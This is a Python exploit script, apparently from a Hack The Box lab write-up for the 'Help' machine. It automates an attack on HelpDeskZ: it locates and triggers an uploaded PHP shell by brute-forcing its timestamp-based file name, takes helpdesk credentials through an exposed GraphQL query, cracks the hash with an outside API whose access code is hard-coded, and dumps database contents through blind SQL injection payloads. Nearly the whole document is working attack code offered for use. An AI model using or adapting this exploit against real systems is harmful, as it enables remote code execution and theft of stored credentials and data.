Python Script
With the script you can execute uploaded file and dump the database:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
#!/usr/bin/env python3
"""
Help HTB
--------
Author: Marss
Date: 28 Jul, 2023
"""
from argparse import ArgumentParser, RawDescriptionHelpFormatter
from datetime import datetime
from hashlib import md5
from json import loads
from pwn import *
from re import findall
from requests import Session, Request, get
from requests.exceptions import ConnectionError
from signal import signal, SIGINT
from string import ascii_lowercase, ascii_letters, digits, punctuation
from sys import argv
# debugging
import pdb
# Ctrl + C
# (function)
def signal_handler(signum, frame):
exit('\n[!] User abort.')
# (signal)
signal(SIGINT, signal_handler)
# Main class
class Exploit:
def __init__(self, args):
self.args = args
self.target = {
'ip':'10.10.10.121',
'domain':'help.htb',
'credentials': {
'helpdesk_user': None,
'helpdesk_pass': None,
},
'csrfhash': None,
'ticket_url': None,
'pattern_one': ascii_lowercase + '_',
'pattern_two': ascii_letters + digits + punctuation
}
self.session = Session()
# proxies
#self.proxies = {'http':'127.1:8080'}
#self.session.proxies.update(self.proxies)
def run(self):
try:
if self.verify_connection():
if self.args.file:
# Arbitrary file upload
current_time = self.get_server_time()
self.execute_file_uploaded(current_time)
if self.args.dump:
# Blind SQLi
self.save_helpdesk_credentials()
self.save_csrf_hash()
self.dump_database()
except Exception as error:
exit('\n[!] Error: ' + repr(error))
def verify_connection(self) -> bool:
try:
response = get('http://' + self.target['ip'])
if response.status_code == 200:
print('\n[*] Target is up!')
return True
except ConnectionError:
exit(f"\n[!] Verify connection with the target or resolve '{self.target['domain']}' on your local DNS server (/etc/hosts).")
def get_server_time(self) -> int:
response = get('http://' + self.target['domain'])
date_format = '%a, %d %b %Y %H:%M:%S %Z' # Sat, 29 Jul 2023 04:14:39 GMT
current_date = datetime.strptime(response.headers['Date'], date_format)
init_date = datetime(1970, 1, 1)
date_diff_seconds = (current_date - init_date).total_seconds()
return int(date_diff_seconds)
def execute_file_uploaded(self, current_time: int):
p = log.progress('Searching uploaded file')
# estimated time: 5 minutes = 300 seconds
seconds = 0
file_found = False
while not file_found and seconds <= 300:
file_name_by_time = self.args.file + str(current_time - seconds)
md5_hash = md5(file_name_by_time.encode('utf-8')).hexdigest()
file_path = 'http://' + self.target['domain'] + '/support/uploads/tickets/' + md5_hash + '.php'
p.status(file_path)
response = get(file_path)
if response.status_code == 200:
file_found = True
exit(f'\n[+] File executed! -> {file_path}')
seconds += 1
print('\n[-] File not found.')
def save_helpdesk_credentials(self):
graphql_query = 'http://' + self.target['domain'] + ':3000' + '/graphql?query={user{username,password}}'
response = get(graphql_query)
self.target['credentials']['helpdesk_user'] = loads(response.text)['data']['user']['username']
md5_hash = loads(response.text)['data']['user']['password'] # godhelpmeplz
self.target['credentials']['helpdesk_pass'] = self.md5_reverse_API(md5_hash)
def md5_reverse_API(self, _hash) -> str:
# https://md5decrypt.net/en/Api/
hash_type = 'md5'
temp_email = 'desano6793@wiemei.com'
code = 'b637cf7ff9580e2d'
url = f'https://md5decrypt.net/en/Api/api.php?hash={_hash}&hash_type={hash_type}&email={temp_email}&code={code}'
response = get(url)
if response.status_code == 200:
return response.text
else:
exit('\n[!] Error: Maybe you need to a new code with a temporal email')
def save_csrf_hash(self):
req = Request('GET', 'http://' + self.target['domain'] + '/support')
prepare_req = self.session.prepare_request(req)
response = self.session.send(prepare_req)
self.target['csrfhash'] = findall(r'name="csrfhash" value="(.*?)"', response.text)[0]
def helpdesk_login(self):
post_data = {
'do': 'login',
'csrfhash': self.target['csrfhash'],
'email': self.target['credentials']['helpdesk_user'],
'password': self.target['credentials']['helpdesk_pass'],
'btn': 'Login'
}
req = Request('POST', 'http://' + self.target['domain'] + '/support/?v=login',
data=post_data
)
prepare_req = self.session.prepare_request(req)
self.session.send(prepare_req)
def get_ticket_id(self) -> str:
try:
req = Request('GET', 'http://' + self.target['domain'] + '/support/?v=view_tickets')
prepare_req = self.session.prepare_request(req)
response = self.session.send(prepare_req)
ticket_id = findall(r'param\[\]=(\d{1,2})', response.text)[0]
self.save_ticket_url(ticket_id)
return ticket_id
except Exception as error:
print('\n[-] No tickets found.')
exit('\n[!] Please manually add a new ticket with an attachment in helpdeskz.')
def save_ticket_url(self, ticket_id):
req = Request('GET', 'http://' + self.target['domain'] + f'/support/?v=view_tickets&action=ticket¶m[]={ticket_id}')
prepare_req = self.session.prepare_request(req)
response = self.session.send(prepare_req)
self.target['ticket_url'] = re.findall(r'param\[\]=\d{1,2}(.*?)"', response.text)[1].replace('&','&')
def dump_database(self):
self.helpdesk_login()
ticket_id = self.get_ticket_id()
if self.args.database and self.args.table and self.args.column:
# dump value of specific column, table and db
p = log.progress('Value')
sql_query = 'and convert((select if(SUBSTRING((select ' + self.args.column + ' from ' + self.args.database + '.' + self.args.table + ' group by ' + self.args.column + ' ASC limit {},1),1,{})="{}",1,"")),char)'
self.print_dump_data(ticket_id, sql_query, p, characters=self.target['pattern_two'])
elif self.args.database and self.args.table:
# dump columns of specific table and db
p = log.progress('Columns')
sql_query = 'and convert((select if(SUBSTRING((select group_concat(column_name) from information_schema.columns where table_name="' + self.args.table + '" and table_schema="' + self.args.database + '" group by column_name ASC limit {},1),1,{})="{}",1,"")),char)'
self.print_dump_data(ticket_id, sql_query, p, characters=self.target['pattern_one'])
elif self.args.database:
# dump tables of specific db
p = log.progress('Tables')
sql_query = 'and convert((select if(SUBSTRING((select group_concat(table_name) from information_schema.tables where table_schema="' + self.args.database + '" group by table_name ASC limit {},1),1,{})="{}",1,"")),char)'
self.print_dump_data(ticket_id, sql_query, p, characters=self.target['pattern_one'])
elif self.args.dump:
# dump databases
p = log.progress('Databases')
sql_query = 'and convert((select if(SUBSTRING((select group_concat(schema_name) from information_schema.schemata group by schema_name ASC limit {},1),1,{})="{}",1,"")),char)'
self.print_dump_data(ticket_id, sql_query, p, characters=self.target['pattern_one'])
def dump(self, ticket_id, sql_query, data_pos, p, characters, name_pos=1, name=''):
if self.send_injection(sql_query.format(data_pos, name_pos, name + ' '), ticket_id):
return name
for letter in characters:
p.status(name + letter)
if self.send_injection(sql_query.format(data_pos, name_pos, name + letter), ticket_id):
name += letter
name_pos += 1
return self.dump(ticket_id, sql_query, data_pos, p, characters, name_pos, name)
def send_injection(self, query, ticket_id) -> bool:
target_url = 'http://' + self.target['domain'] + f'/support/?v=view_tickets&action=ticket¶m[]={ticket_id}{self.target["ticket_url"]} ' + query
req = Request('GET', target_url)
prepare_req = self.session.prepare_request(req)
response = self.session.send(prepare_req, proxies=self.proxies)
if 'Page not found' in response.text:
return False
else:
return True
def print_dump_data(self, ticket_id, query, p, characters):
data_pos = 0
while True:
name = self.dump(ticket_id, query, data_pos, p, characters)
if name == None:
break
print('\n|' + name + '|', end='')
data_pos += 1
# Main flow
if __name__ == '__main__':
banner = '| Help HTB |'
parser = ArgumentParser(
formatter_class=RawDescriptionHelpFormatter,
epilog=f'''Example:
python3 {argv[0]} --file shell.php
python3 {argv[0]} --dump -d support -t staff -c password'''
)
parser.add_argument('-f', '--file', type=str, help='Run uploaded file')
parser.add_argument('--dump', action='store_true', help='Dump database')
parser.add_argument('-d', '--database', type=str, help='Show database tables')
parser.add_argument('-t', '--table', type=str, help='Show table columns')
parser.add_argument('-c', '--column', type=str, help='Show column values')
args = parser.parse_args()
print(banner)
exploit = Exploit(args)
exploit.run()
Puedes encontrar el script, PoC y sus requerimientos en mi repositorio: https://github.com/E1P0TR0